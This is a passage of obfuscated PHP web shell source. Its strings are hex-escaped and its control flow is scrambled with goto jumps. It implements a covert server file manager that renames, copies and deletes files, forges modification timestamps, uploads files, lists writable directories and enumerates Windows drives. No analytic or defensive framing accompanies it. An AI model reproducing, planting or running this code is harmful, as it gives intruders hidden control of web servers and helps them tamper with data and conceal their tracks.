if (file_exists($nname) || !file_exists($oldname)) { m($nname . "\x20\x68\x61\x73\40\x61\x6c\162\x65\141\144\x79\x20\x65\x78\151\x73\x74\x65\x64\x20\157\x72\40\x6f\162\x69\x67\x69\x6e\x61\x6c\40\146\x69\x6c\145\40\x64\x6f\145\x73\x20\156\x6f\x74\40\145\170\151\163\164"); } else { m(basename($oldname) . "\40\162\145\x6e\x61\x6d\x65\144\40" . basename($nname) . (@rename($oldname, $nname) ? "\x20\163\165\143\x63\145\163\x73" : "\146\x61\x69\x6c\145\144")); } } elseif ($sname && $tofile) { if (file_exists($tofile) || !file_exists($sname)) { m("\x54\x68\x65\x20\147\x6f\x61\x6c\40\146\x69\154\145\x20\150\141\163\x20\x61\x6c\x72\x65\141\144\x79\40\145\170\x69\163\x74\145\144\40\x6f\x72\40\x6f\x72\x69\147\x69\x6e\x61\154\40\146\x69\x6c\x65\40\x64\157\x65\x73\x20\156\157\164\x20\x65\170\x69\x73\164"); } else { m(basename($tofile) . "\x20\x63\157\x70\151\145\x64\x20" . (@copy($sname, $tofile) ? basename($tofile) . "\40\x73\x75\x63\143\x65\x73\163" : "\146\x61\151\x6c\145\x64")); } } elseif ($curfile && $tarfile) { if (!@file_exists($curfile) || !@file_exists($tarfile)) { m("\x54\x68\145\40\147\x6f\x61\x6c\x20\x66\x69\x6c\145\40\150\141\x73\40\141\x6c\162\x65\141\x64\171\x20\x65\170\151\x73\x74\145\x64\x20\x6f\x72\40\x6f\x72\x69\147\151\x6e\141\154\x20\146\151\154\x65\40\144\157\145\163\x20\x6e\x6f\x74\40\145\170\x69\x73\x74"); } else { $time = @filemtime($tarfile); m("\x4d\157\144\151\146\171\x20\146\x69\x6c\145\x20\164\150\x65\x20\x6c\x61\163\x74\x20\x6d\x6f\x64\151\x66\x69\145\x64\x20" . (@touch($curfile, $time, $time) ? "\163\165\x63\x63\x65\163\163" : "\146\x61\151\154\x65\144")); } } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { if (!@file_exists($curfile)) { m(basename($curfile) . "\40\144\157\x65\x73\40\156\157\164\40\x65\x78\151\x73\164"); } else { $time = strtotime("{$year}\x2d{$month}\55{$day}\40{$hour}\x3a{$minute}\x3a{$second}"); m("\x4d\x6f\x64\x69\146\x79\x20\x66\x69\x6c\x65\x20\x74\150\x65\x20\x6c\141\163\x74\40\x6d\157\144\151\146\x69\145\144\40" . (@touch($curfile, $time, $time) ? "\x73\x75\x63\143\145\163\x73" : "\x66\x61\x69\154\145\x64")); } } elseif ($doing == "\x64\145\154\146\x69\x6c\x65\x73") { if ($dl) { goto am0lA; iaswv: $succ = $fail = 0; goto rJ_LH; am0lA: $dfiles = ''; goto iaswv; Ya8M3: m("\x44\x65\x6c\145\x74\145\x64\x20\x66\157\x6c\x64\x65\162\x2f\146\151\154\145\40\150\x61\166\x65\40\x66\151\156\151\163\150\x65\x64\54\x63\x68\157\157\163\x65\x20" . count($dl) . "\40\163\x75\143\x63\145\163\163\x20" . $succ . "\x20\146\141\x69\x6c\40" . $fail); goto sQZPA; rJ_LH: foreach ($dl as $filepath) { if (is_dir($filepath)) { if (@deltree($filepath)) { $succ++; } else { $fail++; } } else { if (@unlink($filepath)) { $succ++; } else { $fail++; } } } goto Ya8M3; sQZPA: } else { m("\x50\154\145\x61\x73\145\40\163\145\x6c\x65\x63\164\x20\146\x6f\154\144\145\x72\57\146\x69\154\145\50\163\51"); } } goto f2Wn3; txEN5: echo "\42\40\x74\x79\160\145\x3d\42\164\145\x78\164\x22\40\163\x74\x79\x6c\x65\x3d\42\167\x69\144\164\x68\72\x39\x39\x25\x3b\x6d\141\x72\147\x69\x6e\x3a\60\40\70\160\x78\x3b\x22\76\x3c\57\x74\144\76\xd\xa\x9\11\x9\x3c\164\144\40\156\x6f\167\x72\x61\160\76\74\151\x6e\x70\165\x74\40\x63\x6c\x61\163\163\75\x22\142\164\x22\x20\166\x61\154\165\145\75\x22\107\117\x22\40\164\171\160\145\x3d\x22\163\165\142\155\151\164\x22\x3e\x3c\x2f\164\x64\x3e\xd\12\11\11\x3c\x2f\164\x72\x3e\xd\12\11\x3c\57\146\157\x72\155\x3e\xd\12\11\x3c\x2f\164\141\142\x6c\x65\x3e\xd\xa"; goto tGzxV; A3rRU: $all = @disk_total_space($nowpath); goto xQfFy; CgMXf: echo $dir_writeable; goto xRzdB; xYKYj: $filedata = array(); goto YSJ1d; GzpbA: foreach ($filedata as $key => $filedb) { if ($filedb["\146\151\x6c\145\x6e\141\x6d\145"] != "\x2e\x2e" && $filedb["\x66\x69\x6c\x65\156\x61\x6d\145"] != "\x2e") { goto HcV3M; KTA3q: p("\x3c\x74\144\x20\156\157\x77\162\x61\x70\76"); goto YMqg1; YMqg1: p("\x3c\141\x20\150\162\x65\x66\x3d\42\152\141\166\x61\163\x63\x72\x69\x70\x74\x3a\x64\157\146\151\154\x65\50\47\x64\157\x77\x6e\x66\151\x6c\x65\x27\54\47" . $filedb["\163\x65\x72\166\x65\162\x5f\x6c\x69\156\x6b"] . "\47\x29\x3b\x22\x3e\x44\x6f\x77\x6e\x3c\57\141\x3e\40\x7c\40"); goto PVSnf; g2iJp: p("\74\164\x64\x3e" . (strpos($filedb["\x73\x65\162\x76\x65\x72\137\154\151\156\153"], $_SERVER["\104\x4f\103\x55\x4d\105\116\124\137\x52\117\x4f\x54"]) !== false ? "\x3c\x61\x20\150\162\145\x66\x3d\42" . $fileurl . "\x22\40\x74\x61\162\147\x65\164\75\42\x5f\x62\x6c\141\156\153\x22\x3e" . $filedb["\x66\x69\x6c\x65\x6e\x61\x6d\x65"] . "\x3c\x2f\141\x3e" : $filedb["\146\x69\154\x65\x6e\141\x6d\145"]) . "\74\x2f\164\144\76"); goto jJbVg; ZoipH: p("\x3c\141\x20\x68\162\x65\146\75\42\x6a\141\166\x61\x73\x63\x72\151\160\164\x3a\157\160\146\151\x6c\x65\50\x27\145\144\151\164\x66\x69\x6c\145\47\x2c\x27" . $filedb["\x73\145\162\x76\145\162\137\154\151\156\153"] . "\x27\x2c\x27" . $filedb["\x64\x69\162\154\151\x6e\x6b"] . "\47\x29\73\x22\x3e\x45\144\x69\164\74\57\141\76\x20\174\x20"); goto UV6hq; AIBp4: p("\74\164\144\40\156\x6f\x77\162\141\x70\76"); goto NsGxJ; PVSnf: p("\x3c\141\40\x68\x72\145\146\75\x22\x6a\x61\166\141\163\143\162\151\160\x74\72\x63\x6f\160\x79\146\151\x6c\x65\x28\x27" . $filedb["\163\x65\162\x76\145\162\137\x6c\x69\156\153"] . "\47\51\73\42\76\103\x6f\x70\171\74\57\141\x3e\x20\x7c\40"); goto ZoipH; XXeO2: $file_i++; goto rxbth; fgHR4: $thisbg = bg(); goto cxD06; melor: p("\x3c\x74\x64\x20\x6e\157\167\162\141\160\x3e" . $filedb["\x73\151\172\x65"] . "\x3c\x2f\164\x64\x3e"); goto AIBp4; HcV3M: $fileurl = str_replace($_SERVER["\x44\117\103\x55\x4d\x45\116\x54\x5f\x52\117\x4f\x54"], '', $filedb["\x73\x65\x72\x76\x65\x72\x5f\x6c\151\x6e\x6b"]); goto fgHR4; NsGxJ: p("\x3c\x61\40\150\x72\x65\146\75\x22\152\141\x76\x61\163\143\x72\x69\x70\164\72\x66\x69\154\145\160\x65\162\x6d\x28\x27" . $filedb["\163\145\162\166\x65\x72\137\x6c\151\156\153"] . "\x27\x29\73\42\x3e" . $filedb["\x66\x69\154\145\143\x68\x6d\x6f\x64"] . "\x3c\x2f\x61\x3e\40\57\x20"); goto QhOVo; cxD06: p("\74\x74\x72\x20\143\x6c\141\x73\163\x3d\x22" . $thisbg . "\x22\x20\157\x6e\155\157\x75\x73\x65\157\x76\x65\x72\x3d\x22\x74\150\151\163\x2e\x63\x6c\x61\x73\163\116\x61\155\x65\x3d\47\x66\x6f\x63\x75\x73\47\73\42\40\157\x6e\155\157\165\163\145\x6f\x75\x74\75\x22\x74\150\x69\163\x2e\143\154\x61\163\x73\x4e\x61\x6d\x65\x3d\47" . $thisbg . "\x27\x3b\x22\76"); goto XnnVe; QhOVo: p("\x3c\x61\40\150\162\145\146\x3d\42\152\141\x76\141\163\x63\x72\151\x70\x74\x3a\146\x69\154\145\x70\x65\x72\x6d\50\x27" . $filedb["\163\145\x72\x76\x65\x72\137\154\151\156\153"] . "\47\51\x3b\42\x3e" . $filedb["\146\151\x6c\145\160\x65\x72\x6d"] . "\74\57\141\76" . $filedb["\146\x69\x6c\x65\157\x77\156\145\x72"] . "\x3c\57\164\x64\x3e"); goto KTA3q; UV6hq: p("\x3c\141\x20\150\x72\x65\x66\75\x22\152\141\166\x61\163\x63\x72\151\160\164\72\162\x65\x6e\x61\155\145\50\x27" . $filedb["\163\145\x72\x76\x65\x72\137\154\151\x6e\x6b"] . "\x27\x29\73\x22\76\122\145\x6e\141\155\x65\74\57\x61\x3e"); goto zIyqW; jJbVg: p("\x3c\x74\144\x20\x6e\x6f\167\x72\x61\160\x3e\x3c\141\40\x68\x72\x65\146\75\x22\152\x61\166\141\163\143\162\151\160\x74\72\157\x70\x66\151\x6c\145\50\x27\x6e\145\x77\x74\151\155\x65\47\54\x27" . $filedb["\x73\x65\162\x76\x65\162\x5f\154\151\x6e\x6b"] . "\x27\54\x27" . $filedb["\144\x69\x72\154\151\156\153"] . "\47\51\x3b\x22\x3e" . $filedb["\x6d\x74\x69\x6d\145"] . "\x3c\57\141\x3e\x3c\57\x74\x64\x3e"); goto melor; XnnVe: p("\74\x74\144\40\x77\151\144\x74\x68\x3d\x22\62\x25\42\x20\x6e\x6f\167\x72\x61\160\x3e\x3c\151\x6e\x70\x75\164\x20\156\x61\155\145\x3d\42\144\154\133\135\42\40\164\171\160\x65\x3d\x22\143\150\x65\143\153\142\157\170\x22\x20\166\141\x6c\x75\x65\x3d\x22" . $filedb["\163\x65\x72\x76\x65\x72\x5f\x6c\x69\x6e\153"] . "\x22\76\74\57\164\144\x3e"); goto g2iJp; zIyqW: p("\74\x2f\x74\x64\76\x3c\x2f\164\162\x3e"); goto XXeO2; rxbth: } } goto SyIPJ; kT13w: formfoot(); goto TIOyT; tGzxV: if (IS_WIN && IS_COM) { $obj = new COM("\163\x63\162\x69\x70\164\151\x6e\x67\56\146\151\x6c\145\163\171\x73\164\x65\x6d\x6f\142\x6a\145\x63\x74"); if ($obj && is_object($obj) && $obj->Drives) { goto TQJmg; No8JW: foreach ($obj->Drives as $drive) { if ($drive->Path) { p($comma . "\74\141\x20\x68\x72\145\146\x3d\42\x6a\x61\166\141\x73\143\162\x69\160\x74\x3a\x67\157\x64\x69\x72\x28\x27" . $drive->Path . "\57\47\51\73\x22\x3e" . $DriveTypeDB[$drive->DriveType] . "\50" . $drive->Path . "\51\x3c\57\x61\76"); $comma = "\x3c\x73\160\x61\156\x3e\174\74\x2f\163\x70\141\x6e\76"; } } goto prJIY; prJIY: echo "\x3c\57\x64\151\x76\76"; goto QZ255; SlHaV: $comma = ''; goto No8JW; oPsMZ: $DriveTypeDB = array(0 => "\125\x6e\x6b\156\157\167", 1 => "\122\145\x6d\x6f\166\x61\x62\x6c\145", 2 => "\x46\151\170\x65\144", 3 => "\x4e\145\164\x77\157\162\x6b", 4 => "\103\104\122\x6f\155", 5 => "\x52\101\115\x20\104\x69\163\153"); goto SlHaV; TQJmg: echo "\x3c\x64\x69\x76\40\x63\x6c\141\163\163\75\42\144\162\151\x76\x65\x73\x22\76"; goto oPsMZ; QZ255: } } goto xTENb; lHhv2: makehide("\144\151\162", $nowpath); goto ayCu2; r242o: p("\x3c\x74\162\x20\143\x6c\141\163\x73\75\42" . bg() . "\42\76\x3c\x74\x64\40\x61\x6c\x69\147\x6e\x3d\42\143\145\156\x74\x65\162\x22\x3e\x3c\151\156\x70\165\164\40\156\141\155\145\75\x22\143\x68\x6b\141\154\x6c\x22\x20\x76\x61\154\165\x65\x3d\x22\157\x6e\42\x20\164\171\x70\145\75\x22\143\150\145\x63\153\x62\157\170\x22\40\157\x6e\143\154\151\x63\x6b\75\x22\103\150\x65\143\153\x41\154\154\50\164\150\151\163\56\146\x6f\x72\155\x29\x22\40\57\x3e\74\57\x74\144\x3e\x3c\x74\144\x20\x63\157\154\x73\x70\141\x6e\x3d\x22\64\x22\76\74\141\40\150\x72\145\146\75\x22\x6a\141\166\x61\x73\x63\x72\151\x70\164\72\x64\x6f\x66\x69\154\145\50\x27\x64\x65\x6c\x66\x69\154\x65\x73\47\51\x3b\x22\76\x44\x65\x6c\145\164\145\x20\x73\145\x6c\145\143\164\x65\144\x3c\57\141\x3e\74\x2f\x74\x64\x3e\74\x74\144\40\x61\x6c\x69\147\x6e\75\42\x72\151\x67\x68\164\x22\x3e" . $dir_i . "\40\x64\151\x72\145\143\164\157\162\x69\x65\163\40\57\x20" . $file_i . "\40\x66\151\154\145\x73\74\x2f\x74\144\76\x3c\x2f\164\x72\x3e"); goto BUWlS; zbxH2: $path = explode("\57", $nowpath); goto rNsVu; OppJE: makehide("\x6e\145\167\160\145\162\x6d"); goto x1lUQ; POoN3: $file_i = "\60"; goto GzpbA; e04kT: makehide("\164\x68\x65\x66\151\154\x65"); goto xrH1F; s9orA: p("\40\174\40\74\141\x20\x68\162\145\x66\75\42\x6a\141\166\141\x73\x63\162\x69\x70\164\72\147\x6f\x64\151\x72\x28\x27" . $nowpath . "\47\x29\73\x22\x3e\126\151\145\x77\40\101\154\154\x3c\x2f\x61\x3e"); goto d5VB4; BX91i: makehide("\x64\151\x72", $nowpath); goto ZJ5zU; xRzdB: echo "\x29\74\x2f\164\144\x3e\15\12\11\x9\11\x3c\164\x64\x20\x6e\x6f\167\x72\x61\x70\76\x3c\x69\x6e\160\165\x74\x20\143\x6c\x61\x73\x73\x3d\42\x62\x74\42\x20\x69\144\x3d\x22\x6a\165\x6d\x70\164\157\42\x20\156\141\x6d\145\x3d\42\152\165\155\x70\164\x6f\42\40\166\141\154\x75\x65\75\x22\x4a\x75\x6d\x70\x20\x74\157\42\x20\x74\171\x70\x65\75\42\142\165\x74\x74\157\156\x22\76\x3c\57\x74\x64\x3e\15\xa\11\x9\74\57\164\x72\76\xd\12\11\x3c\x2f\x74\x61\x62\154\x65\76\15\xa\x9\x3c\164\141\142\154\x65\x20\151\144\75\x22\151\x6e\160\165\x74\x6e\141\x76\42\40\x77\151\144\164\x68\x3d\x22\x31\x30\60\45\42\x20\x62\157\162\144\x65\x72\75\x22\x30\42\x20\143\145\154\x6c\x70\141\144\144\x69\156\x67\x3d\x22\x35\42\x20\143\145\154\x6c\163\x70\x61\x63\x69\156\147\75\42\60\42\40\163\x74\x79\x6c\145\x3d\x22\144\151\x73\160\154\x61\x79\x3a\x6e\x6f\x6e\x65\73\x22\x3e\xd\xa\11\74\146\157\x72\155\x20\141\143\x74\151\157\156\x3d\42\x22\x20\x6d\145\164\150\x6f\x64\75\42\160\157\x73\164\x22\40\x69\x64\75\42\x67\x6f\144\x69\x72\x22\x20\156\x61\x6d\145\75\x22\147\157\x64\151\x72\x22\x3e\15\12\x9\x9\74\164\x72\76\15\12\x9\11\11\x3c\x74\144\40\156\x6f\x77\162\141\160\x3e\x43\165\162\162\145\156\164\x20\104\151\x72\145\x63\x74\x6f\x72\171\40\x28"; goto ebyT7; xrH1F: makehide("\144\x6f\x69\156\147"); goto SyywU; arSeX: formfoot(); goto Uew2u; DM8Nv: formhead(array("\156\141\x6d\145" => "\146\151\x6c\145\x70\145\162\155")); goto OppJE; gvMnO: $dir_i = "\60"; goto YJvoP; SyIPJ: p("\74\x74\x72\40\x63\154\x61\163\163\x3d\x22\x68\x65\x61\144\x22\x3e\x3c\164\x64\x3e\x26\156\142\163\160\x3b\74\57\164\x64\76\74\x74\144\x3e\x46\x69\154\x65\156\141\155\145\x3c\57\x74\x64\x3e\74\x74\x64\x20\x77\x69\x64\x74\150\x3d\x22\x31\66\x25\42\76\x4c\141\163\164\40\x6d\157\144\151\146\x69\145\144\74\x2f\x74\x64\x3e\x3c\164\144\40\167\x69\144\x74\150\x3d\42\61\x30\45\x22\x3e\x53\x69\172\145\74\57\164\x64\76\74\164\x64\x20\x77\151\x64\x74\150\x3d\x22\62\60\x25\42\x3e\103\150\155\x6f\144\40\x2f\40\120\x65\162\x6d\x73\x3c\57\x74\x64\x3e\74\164\x64\40\167\x69\x64\x74\150\75\x22\62\62\x25\42\76\x41\143\x74\151\157\x6e\74\57\x74\144\76\74\x2f\164\162\x3e"); goto r242o; gvaLF: for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "\x3c\x61\40\x68\162\145\x66\x3d\x22\x6a\x61\166\141\x73\x63\162\151\x70\164\72\147\x6f\x64\151\x72\50\47"; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . "\57"; } $cwd_links .= "\x27\51\73\42\x3e" . $path[$i] . "\57\74\57\x61\76"; } goto JEB3d; cEtC7: $free = @disk_free_space($nowpath); goto KAruo; lKnxL: makehide("\x74\157\x66\x69\x6c\x65"); goto BX91i; BCrvC: makehide("\x6e\x65\167\146\x69\x6c\x65\156\x61\155\x65"); goto oell7; PrT_K: p("\74\x74\x72\x20\x63\154\x61\163\x73\75\x22\141\x6c\x74\61\42\x3e\74\x74\144\40\143\x6f\154\x73\160\x61\x6e\75\x22\x37\42\x20\x73\x74\x79\x6c\x65\x3d\42\160\x61\144\144\151\156\x67\72\65\x70\170\73\154\151\156\145\55\x68\x65\x69\147\x68\x74\x3a\62\60\x70\x78\x3b\42\76"); goto dMaoG; eXxS1: makehide("\x6e\x65\x77\144\151\x72\x6e\x61\155\x65"); goto lHhv2; x1lUQ: makehide("\160\x66\151\154\145"); goto Hn_Ty; SyywU: makehide("\144\x69\162", $nowpath); goto lPgnH; XIZcF: p("\74\141\x20\150\162\x65\x66\x3d\x22\152\141\x76\141\x73\x63\162\x69\x70\x74\x3a\147\x6f\x64\x69\x72\50\x27" . $_SERVER["\x44\x4f\103\x55\x4d\105\x4e\x54\x5f\x52\x4f\117\124"] . "\x27\51\x3b\42\76\127\145\142\122\x6f\157\164\x3c\x2f\141\x3e"); goto pqpsR; dMaoG: p("\x3c\x66\157\162\x6d\40\x61\143\x74\x69\x6f\x6e\x3d\x22" . $self . "\x22\x20\x6d\145\x74\x68\157\144\75\42\120\117\x53\124\x22\x20\145\156\x63\164\171\160\145\75\42\155\x75\x6c\164\151\160\x61\162\164\x2f\146\x6f\x72\x6d\55\x64\141\x74\141\x22\76\74\144\151\x76\x20\x73\164\171\x6c\x65\75\42\x66\154\x6f\x61\164\72\x72\151\147\150\x74\73\42\76\74\151\156\x70\165\x74\40\143\x6c\x61\x73\x73\75\42\151\156\x70\x75\x74\42\x20\x6e\141\x6d\145\x3d\42\165\160\154\157\141\x64\x66\x69\x6c\x65\x22\x20\x76\x61\x6c\x75\145\75\x22\x22\40\164\171\x70\x65\x3d\x22\x66\151\154\145\42\40\57\76\40\x3c\x69\x6e\x70\165\164\x20\x63\x6c\141\163\x73\75\x22\142\x74\x22\x20\x6e\x61\x6d\145\75\x22\144\157\x75\160\x66\151\x6c\145\x22\x20\166\141\154\165\145\75\x22\125\160\x6c\157\x61\x64\x22\40\x74\x79\x70\x65\x3d\42\x73\165\x62\x6d\x69\x74\x22\40\x2f\76\74\x69\156\160\x75\164\40\156\x61\155\145\x3d\x22\x75\160\x6c\157\141\144\144\151\162\x22\40\x76\141\154\x75\x65\75\x22" . $nowpath . "\x22\x20\x74\x79\x70\x65\75\x22\x68\x69\x64\x64\145\156\x22\x20\x2f\76\74\x69\156\x70\165\164\40\x6e\141\155\145\x3d\42\144\151\x72\x22\x20\x76\x61\154\165\145\x3d\x22" . $nowpath . "\x22\40\x74\x79\160\x65\75\42\x68\151\144\x64\x65\156\42\40\57\76\74\57\144\151\x76\x3e\74\57\x66\157\x72\x6d\x3e"); goto XIZcF; yQ3wf: $dir_writeable = @is_writable($nowpath) ? "\x57\162\x69\x74\x61\x62\154\x65" : "\116\157\x6e\x2d\x77\x72\151\164\141\142\154\145"; goto Ffyt7; Cxa63: p("\x20\174\40\74\141\x20\150\x72\x65\146\75\42\152\141\x76\141\163\143\x72\151\x70\x74\72\x67\157\x64\151\162\50\47" . $nowpath . "\47\x2c\x27\x66\151\154\145\47\x29\x3b\x22\x3e\106\x69\154\x65\x3c\x2f\141\76\x20\51"); goto ReL7B; lPgnH: foreach ($dirdata as $key => $dirdb) { if ($dirdb["\x66\151\x6c\145\x6e\x61\x6d\145"] != "\56\x2e" && $dirdb["\x66\151\x6c\x65\x6e\x61\x6d\x65"] != "\56") { goto IGIGq; YBR0A: p("\x3c\141\x20\150\162\x65\x66\x3d\x22\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\72\146\151\154\x65\160\x65\x72\155\x28\x27" . $dirdb["\x73\145\x72\166\145\162\137\x6c\151\x6e\153"] . "\47\51\73\x22\x3e" . $dirdb["\x64\151\162\x70\145\x72\x6d"] . "\74\x2f\141\x3e" . $dirdb["\x66\151\x6c\145\x6f\167\156\x65\x72"] . "\x3c\x2f\164\144\x3e"); goto QiG3F; lzSgq: p("\x3c\141\x20\150\162\x65\146\75\42\x6a\x61\x76\141\163\x63\x72\x69\x70\164\x3a\x66\x69\154\x65\160\x65\162\155\x28\x27" . $dirdb["\163\145\162\166\x65\162\137\154\x69\x6e\153"] . "\x27\x29\73\42\x3e" . $dirdb["\144\151\162\x63\150\x6d\x6f\144"] . "\74\x2f\141\76\x20\x2f\40"); goto YBR0A; CxHSK: p("\x3c\164\144\40\156\157\167\162\141\160\76" . $attachsize . "\x3c\x2f\164\x64\x3e"); goto OhJIt; TYAtb: p("\x3c\164\x64\40\167\151\x64\x74\x68\x3d\x22\x32\x25\42\40\156\x6f\x77\162\141\x70\76\74\151\x6e\x70\x75\164\40\156\141\155\x65\x3d\42\x64\x6c\x5b\x5d\42\40\164\x79\160\x65\75\x22\x63\150\x65\143\x6b\142\x6f\170\x22\x20\x76\141\x6c\x75\x65\x3d\x22" . $dirdb["\x73\x65\162\x76\145\x72\137\x6c\151\x6e\153"] . "\x22\x3e\74\57\x74\x64\x3e"); goto eBsw0; eBsw0: p("\x3c\164\x64\76\74\141\40\x68\162\145\x66\75\42\x6a\141\x76\141\x73\143\x72\x69\160\164\72\147\157\144\x69\162\50\x27" . $dirdb["\x73\145\x72\166\145\162\x5f\x6c\151\156\153"] . "\x27\51\73\x22\76" . $dirdb["\x66\x69\154\145\x6e\141\155\145"] . "\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\76"); goto Eg5J_; Eg5J_: p("\74\x74\x64\40\x6e\x6f\x77\162\141\160\x3e\74\141\x20\150\162\x65\146\x3d\x22\152\x61\166\141\x73\143\162\x69\160\x74\72\x6f\x70\146\151\x6c\145\50\47\x6e\145\167\x74\151\x6d\x65\47\54\x27" . $dirdb["\163\x65\x72\x76\145\162\x5f\154\151\156\153"] . "\47\54\x27" . $dirdb["\144\x69\x72\x6c\151\x6e\x6b"] . "\47\x29\x3b\42\76" . $dirdb["\x6d\x74\151\x6d\x65"] . "\x3c\x2f\141\76\74\57\164\x64\76"); goto CxHSK; OhJIt: p("\74\164\144\x20\x6e\x6f\167\162\x61\160\76"); goto lzSgq; QiG3F: p("\x3c\164\144\x20\156\157\167\x72\141\x70\x3e\74\141\40\150\162\x65\x66\x3d\x22\152\141\x76\x61\x73\143\x72\151\x70\x74\72\x72\x65\x6e\x61\x6d\145\x28\x27" . $dirdb["\163\x65\x72\x76\145\x72\x5f\x6c\151\156\x6b"] . "\47\51\73\42\76\122\145\x6e\141\x6d\145\74\57\x61\x3e\x3c\57\164\x64\x3e"); goto kYMWw; DAMyJ: $dir_i++; goto lskje; kYMWw: p("\74\57\164\x72\76"); goto DAMyJ; aaxPc: $thisbg = bg(); goto P3OuQ; P3OuQ: p("\74\x74\162\x20\143\154\141\163\163\x3d\x22" . $thisbg . "\x22\x20\157\156\155\157\x75\x73\145\x6f\166\145\x72\x3d\42\164\x68\151\163\56\143\x6c\141\163\163\116\x61\155\x65\75\x27\146\157\x63\165\x73\47\73\42\x20\x6f\156\155\157\165\163\145\x6f\x75\x74\x3d\x22\164\x68\151\x73\x2e\143\154\x61\x73\163\x4e\x61\x6d\x65\75\x27" . $thisbg . "\x27\x3b\42\x3e"); goto TYAtb; IGIGq: $pa = str_replace("\57\56\56", '', $dirdb["\144\x69\x72\x6c\151\x6e\x6b"]); goto WbNX6; WbNX6: if ($getdir && $getdir == $dirdb["\163\145\x72\166\x65\162\x5f\x6c\x69\156\x6b"]) { $attachsize = dirsize($dirdb["\x73\x65\162\x76\145\162\x5f\154\x69\x6e\153"]); $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : "\125\156\153\156\x6f\x77\x6e"; } else { $attachsize = "\x3c\x61\40\x68\162\x65\146\75\42\152\x61\x76\141\x73\x63\x72\151\160\164\x3a\x67\x65\x74\x73\151\x7a\x65\50\x27" . $dirdb["\163\x65\162\x76\145\162\137\x6c\x69\156\153"] . "\47\x2c\47" . $dir . "\47\x29\x3b\x22\x3e\123\x74\x61\164\74\57\x61\76"; } goto aaxPc; lskje: } else { if ($dirdb["\146\151\x6c\145\x6e\141\155\145"] == "\x2e\56") { goto v3GAP; XEKOy: p("\x3c\x74\x64\40\141\154\x69\x67\156\75\42\143\x65\156\x74\145\162\x22\76\55\74\57\164\x64\x3e\x3c\x74\x64\40\x6e\157\x77\162\x61\x70\x20\x63\157\154\x73\160\x61\x6e\x3d\x22\x35\42\76\x3c\x61\x20\150\x72\145\x66\75\42\x6a\141\x76\141\x73\143\x72\151\160\x74\72\147\157\x64\151\x72\x28\47" . getUpPath($nowpath) . "\x27\51\73\x22\76\x50\141\x72\145\x6e\x74\x20\x44\151\162\145\x63\164\157\x72\x79\x3c\x2f\141\x3e\x3c\x2f\x74\144\x3e"); goto H1EI0; v3GAP: p("\x3c\164\x72\40\x63\x6c\x61\163\x73\75" . bg() . "\x3e"); goto XEKOy; H1EI0: p("\x3c\57\x74\x72\76"); goto rVirb; rVirb: } } } goto d6zDo; q0LBu: echo "\x29\74\57\164\144\x3e\15\xa\11\11\x9\74\x74\x64\x20\x77\x69\x64\164\x68\75\x22\61\x30\x30\x25\42\76\x3c\151\156\160\165\x74\x20\156\x61\155\x65\75\x22\166\151\x65\167\137\167\x72\151\164\141\x62\x6c\145\x22\40\x76\x61\154\165\x65\75\42\60\42\40\164\x79\160\145\75\x22\x68\151\144\144\x65\x6e\x22\40\57\76\x3c\151\156\160\165\164\40\x63\154\141\x73\x73\75\x22\151\156\160\165\164\x22\x20\156\x61\155\145\75\42\144\x69\x72\42\x20\166\141\x6c\165\x65\x3d\42"; goto zoKW5; Hpmzr: makehide("\147\145\x74\x64\x69\162"); goto wbKGz; ZH8De: $findstr = $_POST["\146\x69\x6e\144\163\164\162"]; goto CwE_N; wbKGz: makehide("\x64\x69\x72"); goto ck1KD; wypfI: makehide("\x61\143\x74\151\157\x6e", "\x66\x69\x6c\145"); goto e04kT; GJWQS: p("\x3c\x74\x72\40\143\154\141\163\x73\x3d\42\x68\x65\x61\144\x22\x3e\x3c\164\144\x3e\x26\x6e\x62\x73\x70\73\x3c\x2f\164\144\76\x3c\x74\144\x3e\106\151\x6c\x65\156\x61\x6d\x65\x3c\x2f\x74\x64\76\x3c\x74\144\40\167\151\144\164\150\x3d\42\x31\x36\x25\42\76\114\141\x73\x74\x20\x6d\157\144\151\x66\151\x65\x64\x3c\x2f\x74\144\76\74\x74\x64\40\x77\x69\x64\x74\x68\x3d\42\x31\60\x25\x22\x3e\123\x69\x7a\x65\74\x2f\164\144\x3e\74\164\144\40\167\x69\144\x74\x68\x3d\42\x32\60\45\42\76\x43\x68\x6d\157\144\40\x2f\x20\120\145\x72\x6d\x73\x3c\x2f\164\144\x3e\74\x74\144\x20\167\x69\x64\164\150\75\x22\62\62\x25\x22\76\101\x63\164\151\157\156\x3c\57\x74\144\76\x3c\57\164\x72\x3e"); goto R3xBm; Uew2u: formhead(array("\156\x61\155\x65" => "\x63\x6f\160\x79\146\151\x6c\145")); goto iGVNG; jbaeJ: echo $cwd_links . "\x20\x2d\x20" . getChmod($nowpath) . "\x20\x2f\40" . getPerms($nowpath) . getUser($nowpath); goto xhn6_; rNsVu: $n = count($path); goto gvaLF; fIHLY: formhead(array("\156\141\155\x65" => "\162\x65\x6e\141\x6d\145")); goto HLx3Y; zoKW5: echo $nowpath; goto txEN5; d5VB4: p("\40\x7c\40\x56\x69\145\x77\x20\x57\162\x69\x74\141\142\154\x65\x20\x28\x20\74\x61\x20\x68\162\x65\x66\x3d\42\152\x61\x76\x61\x73\x63\x72\x69\160\164\x3a\147\x6f\x64\x69\x72\50\x27" . $nowpath . "\47\x2c\47\144\151\162\x27\x29\73\42\x3e\104\151\x72\x65\143\164\x6f\x72\x79\x3c\x2f\x61\76"); goto Cxa63; xTENb: echo "\x3c\x2f\x64\x69\166\x3e\15\12"; goto ZH8De; YSJ1d: if ($view_writable == "\x64\151\162") { $dirdata = GetWDirList($nowpath); $filedata = array(); } elseif ($view_writable == "\146\x69\x6c\x65") { $dirdata = array(); $filedata = GetWFileList($nowpath); } elseif ($findstr) { $dirdata = array(); $filedata = GetSFileList($nowpath, $findstr, $re); } else { goto jwBPU; EXi4D: unset($filedb); goto xiuq9; xiuq9: @closedir($dirs); goto a3nEL; jwBPU: $dirs = @opendir($dir); goto FQkVR; FQkVR: while ($file = @readdir($dirs)) { $filepath = $nowpath . $file; if (@is_dir($filepath)) { goto qS9H5; mS1Kq: $dirdb["\x73\x65\x72\166\145\x72\137\x6c\151\156\x6b"] = $filepath; goto gQerl; ZbpHN: $dirdb["\x64\151\x72\x63\x68\155\x6f\x64"] = getChmod($filepath); goto Kf1DH; zAFKo: 